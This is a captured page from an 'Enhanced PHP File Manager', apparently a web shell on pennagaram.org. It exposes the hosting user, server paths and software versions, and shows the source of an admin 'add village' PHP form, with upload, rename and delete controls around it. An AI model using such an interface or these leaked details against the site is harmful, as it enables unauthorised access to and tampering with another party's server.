Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 5.14.0-503.34.1.el9_5.x86_64

PHP Version:

8.2.30

User:

u329947844

Directory:

/home/u329947844/domains/pennagaram.org/public_html/admin

Free Space:

10.31 TB

🔧 Quick Actions

✏️ Editing: add-village.php

<!doctype html>
<html lang="en">
<?php
include('includes/head.php');
include('includes/db.php');

// Initialize variables
$errors = [];
$success = false;

// Fetch active panchayats for dropdown
$panchayatsSql = "SELECT id, name, block_name FROM panchayats WHERE status = 'active' ORDER BY name";
$panchayatsResult = mysqli_query($conn, $panchayatsSql);
$panchayats = [];
if ($panchayatsResult && mysqli_num_rows($panchayatsResult) > 0) {
    while ($row = mysqli_fetch_assoc($panchayatsResult)) {
        $panchayats[] = $row;
    }
}

// Handle form submission
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Validate and sanitize input data
    $name = trim($_POST['name'] ?? '');
    $panchayat_id = intval($_POST['panchayat_id'] ?? 0);
    $pincode = trim($_POST['pincode'] ?? '');
    $population = !empty($_POST['population']) ? intval($_POST['population']) : NULL;
    $area_sqkm = !empty($_POST['area_sqkm']) ? floatval($_POST['area_sqkm']) : NULL;
    $status = trim($_POST['status'] ?? 'active');
    
    // Validate required fields
    if (empty($name)) {
        $errors[] = "Village name is required";
    }
    
    if ($panchayat_id <= 0) {
        $errors[] = "Please select a panchayat";
    }
    
    // Check if village name already exists
    if (empty($errors)) {
        $checkSql = "SELECT id FROM villages WHERE name = ?";
        $stmt = mysqli_prepare($conn, $checkSql);
        mysqli_stmt_bind_param($stmt, 's', $name);
        mysqli_stmt_execute($stmt);
        mysqli_stmt_store_result($stmt);
        
        if (mysqli_stmt_num_rows($stmt) > 0) {
            $errors[] = "Village with this name already exists!";
        }
        mysqli_stmt_close($stmt);
    }
    
    // Validate pincode format (optional)
    if (!empty($pincode) && !preg_match('/^\d{6}$/', $pincode)) {
        $errors[] = "Pincode must be 6 digits";
    }
    
    // If no errors, proceed with database insertion
    if (empty($errors)) {
        // Prepare SQL statement for village insertion
        $sql = "INSERT INTO villages (name, panchayat_id, population, area_sqkm, pincode, status, created_at) 
                VALUES (?, ?, ?, ?, ?, ?, NOW())";
        
        $stmt = mysqli_prepare($conn, $sql);
        
        if ($stmt) {
            // Bind parameters
            mysqli_stmt_bind_param($stmt, "siidss", $name, $panchayat_id, $population, $area_sqkm, $pincode, $status);
            
            // Execute the statement
            if (mysqli_stmt_execute($stmt)) {
                $success = true;
                // Clear form fields on success
                $name = $pincode = '';
                $panchayat_id = 0;
                $population = $area_sqkm = '';
                $status = 'active';
            } else {
                $errors[] = "Database error: " . mysqli_error($conn);
            }
            
            mysqli_stmt_close($stmt);
        } else {
            $errors[] = "Database preparation error: " . mysqli_error($conn);
        }
    }
}
?>
<body data-sidebar="dark">

<?php include('includes/pre-loader.php')?>

<div id="layout-wrapper">
<?php include('includes/topbar.php')?>
    
    <div class="vertical-menu">
        <div data-simplebar class="h-100">
            
            <?php include('includes/sidebar.php')?>
            
        </div>
    </div>
    
    
    
    
    <div class="main-content">
        <div class="page-content">
            <div class="container-fluid">
                
                <div class="row">
                    <div class="col-12">
                        <div class="page-title-box d-flex align-items-center justify-content-between">
                            <h4 class="mb-0">Add New Village</h4>
                            <div class="page-title-right">
                                <ol class="breadcrumb m-0">
                                    <li class="breadcrumb-item"><a href="javascript: void(0);">Villages</a></li>
                                    <li class="breadcrumb-item active">Add Village</li>
                                </ol>
                            </div>
                        </div>
                    </div>
                </div>

<?php if ($success): ?>
                    <div class="alert alert-success alert-dismissible fade show" role="alert">
                        <i class="fas fa-check-circle me-2"></i>
                        Village added successfully!
                        <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>
                    </div>
                <?php endif; ?>

<?php if (!empty($errors)): ?>
                    <div class="alert alert-danger alert-dismissible fade show" role="alert">
                        <i class="fas fa-exclamation-triangle me-2"></i>
                        <?php foreach ($errors as $error): ?>
                            <div><?php echo $error; ?></div>
                        <?php endforeach; ?>
                        <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>
                    </div>
                <?php endif; ?>

<div class="row">
                    <div class="col-12">
                        <div class="card">
                            <div class="card-body">
                                <h4 class="card-title mb-4">Village Information</h4>
                                <form method="post" id="addVillageForm">
                                    <div class="row">
                                        <div class="col-md-6">
                                            <div class="mb-3">
                                                <label for="name" class="form-label">Village Name <span class="text-danger">*</span></label>
                                                <input type="text" class="form-control" id="name" name="name" required
                                                       placeholder="Enter village name" maxlength="255"
                                                       value="<?php echo htmlspecialchars($_POST['name'] ?? ''); ?>">
                                                <div class="form-text">Enter the official name of the village.</div>
                                            </div>
                                        </div>
                                        <div class="col-md-6">
                                            <div class="mb-3">
                                                <label for="panchayat_id" class="form-label">Panchayat <span class="text-danger">*</span></label>
                                                <select class="form-select" id="panchayat_id" name="panchayat_id" required>
                                                    <option value="">Select Panchayat</option>
                                                    <?php foreach ($panchayats as $panchayat): ?>
                                                        <option value="<?php echo $panchayat['id']; ?>" 
                                                            <?php echo (($_POST['panchayat_id'] ?? 0) == $panchayat['id']) ? 'selected' : ''; ?>>
                                                            <?php echo htmlspecialchars($panchayat['name']); ?> - <?php echo htmlspecialchars($panchayat['block_name']); ?>
                                                        </option>
                                                    <?php endforeach; ?>
                                                </select>
                                                <div class="form-text">Select the panchayat this village belongs to.</div>
                                            </div>
                                        </div>
                                    </div>

<div class="row">
                                        <div class="col-md-4">
                                            <div class="mb-3">
                                                <label for="pincode" class="form-label">Pincode</label>
                                                <input type="text" class="form-control" id="pincode" name="pincode"
                                                       placeholder="Enter 6-digit pincode" maxlength="6"
                                                       value="<?php echo htmlspecialchars($_POST['pincode'] ?? ''); ?>">
                                                <div class="form-text">6-digit postal code (optional).</div>
                                            </div>
                                        </div>
                                        <div class="col-md-4">
                                            <div class="mb-3">
                                                <label for="population" class="form-label">Population</label>
                                                <input type="number" class="form-control" id="population" name="population"
                                                       placeholder="Enter population" min="0"
                                                       value="<?php echo htmlspecialchars($_POST['population'] ?? ''); ?>">
                                                <div class="form-text">Approximate population (optional).</div>
                                            </div>
                                        </div>
                                        <div class="col-md-4">
                                            <div class="mb-3">
                                                <label for="area_sqkm" class="form-label">Area (sq km)</label>
                                                <input type="number" class="form-control" id="area_sqkm" name="area_sqkm"
                                                       placeholder="Enter area in sq km" min="0" step="0.01"
                                                       value="<?php echo htmlspecialchars($_POST['area_sqkm'] ?? ''); ?>">
                                                <div class="form-text">Area in square kilometers (optional).</div>
                                            </div>
                                        </div>
                                    </div>

<div class="row">
                                        <div class="col-md-6">
                                            <div class="mb-3">
                                                <label for="status" class="form-label">Status <span class="text-danger">*</span></label>
                                                <select class="form-select" id="status1" name="status" required>
                                                    <option value="active" <?php echo (($_POST['status'] ?? 'active') == 'active') ? 'selected' : ''; ?>>Active</option>
                                                    <option value="inactive" <?php echo (($_POST['status'] ?? '') == 'inactive') ? 'selected' : ''; ?>>Inactive</option>
                                                </select>
                                                <div class="form-text">Active villages will be visible in the frontend.</div>
                                            </div>
                                        </div>
                                    </div>

<div class="mt-4">
                                        <button type="submit" class="btn btn-primary">
                                            <i class="fas fa-plus-circle me-2"></i>Add Village
                                        </button>
                                        <button type="reset" class="btn btn-secondary">
                                            <i class="fas fa-redo me-2"></i>Reset Form
                                        </button>
                                        <a href="manage-villages.php" class="btn btn-outline-dark">
                                            <i class="fas fa-arrow-left me-2"></i>Back to Villages
                                        </a>
                                    </div>
                                </form>
                            </div>
                        </div>
                    </div>
                </div>

<div class="row">
                    <div class="col-md-4">
                        <div class="card">
                            <div class="card-body">
                                <div class="d-flex align-items-center">
                                    <div class="flex-shrink-0 me-3">
                                        <i class="fas fa-village text-primary h2"></i>
                                    </div>
                                    <div class="flex-grow-1">
                                        <h4 class="mb-1"><?php echo count($panchayats); ?></h4>
                                        <p class="text-muted mb-0">Active Panchayats</p>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                    <div class="col-md-4">
                        <div class="card">
                            <div class="card-body">
                                <div class="d-flex align-items-center">
                                    <div class="flex-shrink-0 me-3">
                                        <i class="fas fa-map-marker-alt text-success h2"></i>
                                    </div>
                                    <div class="flex-grow-1">
                                        <h4 class="mb-1">Pennagaram</h4>
                                        <p class="text-muted mb-0">Block</p>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                    <div class="col-md-4">
                        <div class="card">
                            <div class="card-body">
                                <div class="d-flex align-items-center">
                                    <div class="flex-shrink-0 me-3">
                                        <i class="fas fa-calendar text-info h2"></i>
                                    </div>
                                    <div class="flex-grow-1">
                                        <h4 class="mb-1"><?php echo date('M Y'); ?></h4>
                                        <p class="text-muted mb-0">Current Month</p>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
                
            </div>
            
        </div>
        
        <?php include('includes/footer.php')?>
    </div>
    
</div>

<?php include('includes/rightbar.php')?>

<?php include('includes/scripts.php')?>

<?php
// Close database connection
if (isset($conn)) {
    mysqli_close($conn);
}

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: add-village.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation